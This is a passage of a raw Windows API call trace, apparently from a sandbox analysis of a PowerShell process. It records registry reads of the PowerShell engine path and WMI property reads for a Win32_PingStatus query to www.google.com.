lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x59ede44 | out: phkResult=0x59ede44*=0x568) returned 0x0 [0135.009] RegQueryValueExW (in: hKey=0x568, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x59ede64, lpData=0x0, lpcbData=0x59ede60*=0x0 | out: lpType=0x59ede64*=0x1, lpData=0x0, lpcbData=0x59ede60*=0x56) returned 0x0 [0135.009] RegQueryValueExW (in: hKey=0x568, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x59ede64, lpData=0x23c8aa0, lpcbData=0x59ede60*=0x56 | out: lpType=0x59ede64*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x59ede60*=0x56) returned 0x0 [0135.009] RegCloseKey (hKey=0x568) returned 0x0 [0135.009] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x59ede44 | out: phkResult=0x59ede44*=0x568) returned 0x0 [0135.010] RegQueryValueExW (in: hKey=0x568, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x59ede64, lpData=0x0, lpcbData=0x59ede60*=0x0 | out: lpType=0x59ede64*=0x1, lpData=0x0, lpcbData=0x59ede60*=0x56) returned 0x0 [0135.010] RegQueryValueExW (in: hKey=0x568, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x59ede64, lpData=0x23c8db4, lpcbData=0x59ede60*=0x56 | out: lpType=0x59ede64*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x59ede60*=0x56) returned 0x0 [0135.010] RegCloseKey (hKey=0x568) returned 0x0 [0135.010] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x59ede44 | out: phkResult=0x59ede44*=0x568) returned 0x0 [0135.010] RegQueryValueExW (in: hKey=0x568, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x59ede64, lpData=0x0, lpcbData=0x59ede60*=0x0 | out: lpType=0x59ede64*=0x1, lpData=0x0, lpcbData=0x59ede60*=0x56) returned 0x0 [0135.010] RegQueryValueExW (in: hKey=0x568, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x59ede64, lpData=0x23c90b0, lpcbData=0x59ede60*=0x56 | out: lpType=0x59ede64*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x59ede60*=0x56) returned 0x0 [0135.010] RegCloseKey (hKey=0x568) returned 0x0 [0135.011] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x59ede44 | out: phkResult=0x59ede44*=0x568) returned 0x0 [0135.011] RegQueryValueExW (in: hKey=0x568, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x59ede64, lpData=0x0, lpcbData=0x59ede60*=0x0 | out: lpType=0x59ede64*=0x1, lpData=0x0, lpcbData=0x59ede60*=0x56) returned 0x0 [0135.011] RegQueryValueExW (in: hKey=0x568, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x59ede64, lpData=0x23c93ac, lpcbData=0x59ede60*=0x56 | out: lpType=0x59ede64*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x59ede60*=0x56) returned 0x0 [0135.011] RegCloseKey (hKey=0x568) returned 0x0 [0135.011] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x59ede44 | out: phkResult=0x59ede44*=0x568) returned 0x0 [0135.011] RegQueryValueExW (in: hKey=0x568, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x59ede64, lpData=0x0, lpcbData=0x59ede60*=0x0 | out: lpType=0x59ede64*=0x1, lpData=0x0, lpcbData=0x59ede60*=0x56) returned 0x0 [0135.011] RegQueryValueExW (in: hKey=0x568, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x59ede64, lpData=0x23c96c0, lpcbData=0x59ede60*=0x56 | out: lpType=0x59ede64*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x59ede60*=0x56) returned 0x0 [0135.011] RegCloseKey (hKey=0x568) returned 0x0 [0135.012] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x59ede44 | out: phkResult=0x59ede44*=0x568) returned 0x0 [0135.012] RegQueryValueExW (in: hKey=0x568, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x59ede64, lpData=0x0, lpcbData=0x59ede60*=0x0 | out: lpType=0x59ede64*=0x1, lpData=0x0, lpcbData=0x59ede60*=0x56) returned 0x0 [0135.012] RegQueryValueExW (in: hKey=0x568, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x59ede64, lpData=0x23c99d4, lpcbData=0x59ede60*=0x56 | out: lpType=0x59ede64*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x59ede60*=0x56) returned 0x0 [0135.012] RegCloseKey (hKey=0x568) returned 0x0 [0135.012] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x59ede44 | out: phkResult=0x59ede44*=0x568) returned 0x0 [0135.012] RegQueryValueExW (in: hKey=0x568, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x59ede64, lpData=0x0, lpcbData=0x59ede60*=0x0 | out: lpType=0x59ede64*=0x1, lpData=0x0, lpcbData=0x59ede60*=0x56) returned 0x0 [0135.012] RegQueryValueExW (in: hKey=0x568, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x59ede64, lpData=0x23c9cd0, lpcbData=0x59ede60*=0x56 | out: lpType=0x59ede64*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x59ede60*=0x56) returned 0x0 [0135.012] RegCloseKey (hKey=0x568) returned 0x0 [0135.013] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x59ede90 | out: phkResult=0x59ede90*=0x568) returned 0x0 [0135.013] RegQueryValueExW (in: hKey=0x568, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x59edeb0, lpData=0x0, lpcbData=0x59edeac*=0x0 | out: lpType=0x59edeb0*=0x1, lpData=0x0, lpcbData=0x59edeac*=0x56) returned 0x0 [0135.013] RegQueryValueExW (in: hKey=0x568, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x59edeb0, lpData=0x23c9fcc, lpcbData=0x59edeac*=0x56 | out: lpType=0x59edeb0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x59edeac*=0x56) returned 0x0 [0135.013] RegCloseKey (hKey=0x568) returned 0x0 [0135.013] CoTaskMemAlloc (cb=0x20c) returned 0x4f4c0f0 [0135.013] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x4f4c0f0 | out: pszPath="C:\\Program Files (x86)") returned 0x0 [0135.014] CoTaskMemFree (pv=0x4f4c0f0) [0135.014] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x17 [0135.014] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x17, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)", lpFilePart=0x0) returned 0x16 [0135.014] EtwEventActivityIdControl () returned 0x0 [0135.014] SetEvent (hEvent=0x558) returned 1 [0135.014] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59ee1ec*=0x558, lpdwindex=0x59ee010 | out: lpdwindex=0x59ee010) returned 0x0 [0135.015] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x59ee180, nSize=0xc6 | out: lpBuffer="") returned 0x0 [0135.015] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x59ee2e4 | out: lpConsoleScreenBufferInfo=0x59ee2e4) returned 1 [0135.015] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x59ee2e4 | out: lpConsoleScreenBufferInfo=0x59ee2e4) returned 1 [0135.112] EtwEventActivityIdControl () returned 0x0 [0135.112] EtwEventActivityIdControl () returned 0x0 [0135.112] EtwEventActivityIdControl () returned 0x0 [0135.114] EtwEventActivityIdControl () returned 0x0 [0135.114] EtwEventActivityIdControl () returned 0x0 [0135.114] EtwEventActivityIdControl () returned 0x0 [0135.245] QueryPerformanceCounter (in: lpPerformanceCount=0x59ee2b4 | out: lpPerformanceCount=0x59ee2b4*=1177622225741) returned 1 [0135.456] QueryPerformanceCounter (in: lpPerformanceCount=0x59ee27c | out: lpPerformanceCount=0x59ee27c*=1177643282258) returned 1 [0136.550] EtwEventWriteTransfer () returned 0x0 [0136.698] QueryPerformanceCounter (in: lpPerformanceCount=0x59ee790 | out: lpPerformanceCount=0x59ee790*=1177767479430) returned 1 [0136.722] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x568 [0136.722] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee4e8 | out: puCount=0x59ee4e8*=0x2) returned 0x0 [0136.723] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee4e4*=0x0, pszText=0x0 | out: puBuffLength=0x59ee4e4*=0xf, pszText=0x0) returned 0x0 [0136.723] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee4e4*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee4e4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.724] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee4e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x241adf4*=0, plFlavor=0x241adf8*=0 | out: pVal=0x59ee4e4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x241adf4*=8, plFlavor=0x241adf8*=64) returned 0x0 [0136.724] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0136.724] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0136.724] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee4ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x241adf4*=8, plFlavor=0x241adf8*=64 | out: pVal=0x59ee4ec*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x241adf4*=8, plFlavor=0x241adf8*=64) returned 0x0 [0136.724] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0136.724] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0136.724] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee4e8 | out: puCount=0x59ee4e8*=0x2) returned 0x0 [0136.724] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee4e4*=0x0, pszText=0x0 | out: puBuffLength=0x59ee4e4*=0xf, pszText=0x0) returned 0x0 [0136.724] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee4e4*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee4e4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.724] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__CLASS", lFlags=0, pVal=0x59ee4e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x241ae90*=0, plFlavor=0x241ae94*=0 | out: pVal=0x59ee4e4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x241ae90*=8, plFlavor=0x241ae94*=64) returned 0x0 [0136.724] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.724] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.724] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__CLASS", lFlags=0, pVal=0x59ee4ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x241ae90*=8, plFlavor=0x241ae94*=64 | out: pVal=0x59ee4ec*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x241ae90*=8, plFlavor=0x241ae94*=64) returned 0x0 [0136.725] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.725] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.725] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee4e8 | out: puCount=0x59ee4e8*=0x2) returned 0x0 [0136.725] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee4e4*=0x0, pszText=0x0 | out: puBuffLength=0x59ee4e4*=0xf, pszText=0x0) returned 0x0 [0136.725] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee4e4*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee4e4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.725] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__Derivation", lFlags=0, pVal=0x59ee4e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x241afec*=0, plFlavor=0x241aff0*=0 | out: pVal=0x59ee4e4*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5074e0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f4b0f0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x241afec*=8200, plFlavor=0x241aff0*=64) returned 0x0 [0136.725] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__Derivation", lFlags=0, pVal=0x59ee4ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x241afec*=8200, plFlavor=0x241aff0*=64 | out: pVal=0x59ee4ec*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x507450*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f4b0f0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x241afec*=8200, plFlavor=0x241aff0*=64) returned 0x0 [0136.726] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee4e8 | out: puCount=0x59ee4e8*=0x2) returned 0x0 [0136.726] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee4e4*=0x0, pszText=0x0 | out: puBuffLength=0x59ee4e4*=0xf, pszText=0x0) returned 0x0 [0136.726] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee4e4*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee4e4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.726] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__CLASS", lFlags=0, pVal=0x59ee4e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x241b254*=0, plFlavor=0x241b258*=0 | out: pVal=0x59ee4e4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x241b254*=8, plFlavor=0x241b258*=64) returned 0x0 [0136.726] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.726] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.726] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__CLASS", lFlags=0, pVal=0x59ee4ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x241b254*=8, plFlavor=0x241b258*=64 | out: pVal=0x59ee4ec*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x241b254*=8, plFlavor=0x241b258*=64) returned 0x0 [0136.726] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.726] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.726] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee4e8 | out: puCount=0x59ee4e8*=0x2) returned 0x0 [0136.726] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee4e4*=0x0, pszText=0x0 | out: puBuffLength=0x59ee4e4*=0xf, pszText=0x0) returned 0x0 [0136.726] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee4e4*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee4e4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.726] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__Derivation", lFlags=0, pVal=0x59ee4e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x241b37c*=0, plFlavor=0x241b380*=0 | out: pVal=0x59ee4e4*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5074e0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f4b0f0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x241b37c*=8200, plFlavor=0x241b380*=64) returned 0x0 [0136.727] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__Derivation", lFlags=0, pVal=0x59ee4ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x241b37c*=8200, plFlavor=0x241b380*=64 | out: pVal=0x59ee4ec*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x507450*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f4b0f0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x241b37c*=8200, plFlavor=0x241b380*=64) returned 0x0 [0136.727] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee500 | out: puCount=0x59ee500*=0x2) returned 0x0 [0136.727] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee4fc*=0x0, pszText=0x0 | out: puBuffLength=0x59ee4fc*=0xf, pszText=0x0) returned 0x0 [0136.727] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee4fc*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee4fc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.727] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee500 | out: puCount=0x59ee500*=0x2) returned 0x0 [0136.728] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee4fc*=0x0, pszText=0x0 | out: puBuffLength=0x59ee4fc*=0xf, pszText=0x0) returned 0x0 [0136.728] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee4fc*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee4fc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.728] IWbemClassObject:GetNames (in: This=0x4f387a8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee508*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee4fc | out: pNames=0x59ee4fc*="\x01ƀ\x04") returned 0x0 [0136.728] SafeArrayGetDim (psa=0x507480) returned 0x1 [0136.728] SafeArrayGetDim (psa=0x507480) returned 0x1 [0136.728] SafeArrayGetLBound (in: psa=0x507480, nDim=0x1, plLbound=0x59ee394 | out: plLbound=0x59ee394) returned 0x0 [0136.728] SysStringByteLen (bstr="__GENUS") returned 0xe [0136.728] SysStringByteLen (bstr="__GENUS") returned 0xe [0136.728] SysStringByteLen (bstr="__CLASS") returned 0xe [0136.728] SysStringByteLen (bstr="__CLASS") returned 0xe [0136.728] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0136.728] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0136.728] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0136.728] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0136.728] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0136.728] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0136.728] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0136.728] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0136.729] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0136.729] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0136.729] SysStringByteLen (bstr="__SERVER") returned 0x10 [0136.729] SysStringByteLen (bstr="__SERVER") returned 0x10 [0136.729] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0136.729] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0136.729] SysStringByteLen (bstr="__PATH") returned 0xc [0136.729] SysStringByteLen (bstr="__PATH") returned 0xc [0136.729] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__GENUS", lFlags=0, pVal=0x59ee4f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x241bc00*=0, plFlavor=0x241bc04*=0 | out: pVal=0x59ee4f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x241bc00*=3, plFlavor=0x241bc04*=64) returned 0x0 [0136.729] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__CLASS", lFlags=0, pVal=0x59ee4f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x241bc34*=0, plFlavor=0x241bc38*=0 | out: pVal=0x59ee4f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x241bc34*=8, plFlavor=0x241bc38*=64) returned 0x0 [0136.729] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.729] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.729] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee4f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x241bc8c*=0, plFlavor=0x241bc90*=0 | out: pVal=0x59ee4f8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x241bc8c*=8, plFlavor=0x241bc90*=64) returned 0x0 [0136.730] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__DYNASTY", lFlags=0, pVal=0x59ee4f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x241bcb4*=0, plFlavor=0x241bcb8*=0 | out: pVal=0x59ee4f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x241bcb4*=8, plFlavor=0x241bcb8*=64) returned 0x0 [0136.730] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.730] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.730] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__RELPATH", lFlags=0, pVal=0x59ee4f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x241bd0c*=0, plFlavor=0x241bd10*=0 | out: pVal=0x59ee4f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x241bd0c*=8, plFlavor=0x241bd10*=64) returned 0x0 [0136.730] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0136.730] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0136.730] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee4f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x241bee8*=0, plFlavor=0x241beec*=0 | out: pVal=0x59ee4f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x241bee8*=3, plFlavor=0x241beec*=64) returned 0x0 [0136.730] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__DERIVATION", lFlags=0, pVal=0x59ee4f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x241bf1c*=0, plFlavor=0x241bf20*=0 | out: pVal=0x59ee4f8*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5073f0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f4b0f0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x241bf1c*=8200, plFlavor=0x241bf20*=64) returned 0x0 [0136.731] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__SERVER", lFlags=0, pVal=0x59ee4f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x241bf50*=0, plFlavor=0x241bf54*=0 | out: pVal=0x59ee4f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x241bf50*=8, plFlavor=0x241bf54*=64) returned 0x0 [0136.731] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0136.731] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0136.731] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee4f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x241bf9c*=0, plFlavor=0x241bfa0*=0 | out: pVal=0x59ee4f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x241bf9c*=8, plFlavor=0x241bfa0*=64) returned 0x0 [0136.731] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0136.731] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0136.731] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__PATH", lFlags=0, pVal=0x59ee4f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x241bfe8*=0, plFlavor=0x241bfec*=0 | out: pVal=0x59ee4f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x241bfe8*=8, plFlavor=0x241bfec*=64) returned 0x0 [0136.731] SysStringByteLen 